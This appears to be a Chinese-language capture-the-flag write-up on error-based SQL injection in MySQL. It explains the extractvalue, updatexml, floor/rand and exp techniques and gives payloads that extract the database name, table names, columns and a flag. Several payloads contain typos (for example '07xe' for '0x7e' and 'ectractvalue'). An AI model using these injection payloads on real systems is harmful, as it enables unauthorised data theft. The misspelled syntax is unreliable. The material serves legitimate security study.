打开环境是一个框框可以输入数据,提示输入一个1 试试,输入1 之后能看到查询语句。
返回查询正确。报错注入主要是考虑使用哪些函数,报错注入常见的函数有:
1.extractvalue(),是mysql中的一个函数,用于从xml文档中提取值。需要提供两个参数,分别是xml表达式和xpath表达式。主要是将xpath表达式作为参数传递给函数,然后函数根据表达式在xml片段中查找并返回结果。
extractvalue(1,concat(07xe,database(),07xe)) --+
第一个1是简单的xpath表达式,第二个参数concat(07xe,database(),07xe)是生成一个xml片段的表达式这个结果将作为xml文档的内容来处理。
xml文档:
存储和传输数据的标记语言文档。数据的存储方面:可以作为桌面软件的配置文件,编写软件的设置参数(如窗口大小,主题颜色,用户偏好等等),当软件启动时,回读取这个xml文件,根据其中的数据来设置应用程序的界面属性。
<config>
<window>
<width>800</width>
<height>600</height>
</window>
</config>
2.updatexml()函数更新XML内容的值,它允许在数据库中的xml字段中进行动态更新和查询操作。
参数uodatexml(xml_target,xpath_exper,newvalue)
第一个参数要更新的xml字段名或者是xml类型的字符串。
第二个参数是用于定位
第三个参数是新的值。
在报错注入中使用函数的报错。
3.floor()函数
通过一个使用这个函数爆破数据库版本的语句来说明:
?id=1 ' and (select 1 from(select count(*) , concat((select (select concat(07xe,version(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a ) %23
这个语句看着结构很复杂,其实分析起来很简单。
主干就是and select 1 from(子查询) a )%23这是一个条件表达式,如果子查询结果失败则会报错。而这个错误是我们想要的。
现在来分析子查询语句:
select count(*) ,concat(子查询1) ,floor(0)*2)x from information_schema.tables group by x
这个语句选择了两个字段分别为count(*),用于统计行数,concat(子查询1),使用floor函数生成随机的一个值与concat()函数的查询结果拼接起来为x,使用group by 语句按照x字段进行分组。这里concat()函数与group by 语句结合使用,当concat()函数结果出现重复时,会报错,报错内容中包含concat函数的内容。那么怎么样让concat函数的结果重复?
让concat()函数与group by 语句结合使用,floor(0)*2会生成一个固定的0,1序列的值,跟concat()函数的结果拼接在一起,会导致多个字段的分组键相同,导致分组冲突因而报错,爆出concat()函数的内容。
4.exp函数
这个报错本质上是函数的溢出。如果函数的参数值超出了double的值,那么就会报错,可以通过这个特性就可以爆出数据库中敏感信息。
例如,通过exp()函数爆出数据库表明:
id=1' and exp(~(select * from (select table_name from information_schema.tables where table_schema = database() )X) %23
爆出数据库版本:
exp(~ (select version())x);
最后说明:~是按位取反符号,是对于整数的二进制取反,0变1,1变0.
在这里直接使用extractvalue()函数,开始构造payload,尝试得到数据库名:
?id =1 and extractvalue(1,concat(07xe,database(),07xe)) --+
爆出表名:
?id = 1 and extractvalue(1,concat(07xe,( select group_concat(table_name) from information_schema.tables where table_schema=database()),07xe)) --+
?id =1 and ectractvalue(1,(07xe,(select (concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag')),07xe) --+
爆出来表名为flag,直接select得出来flag.
?id=1 and extractvalue (1,(select flag from flag)) --+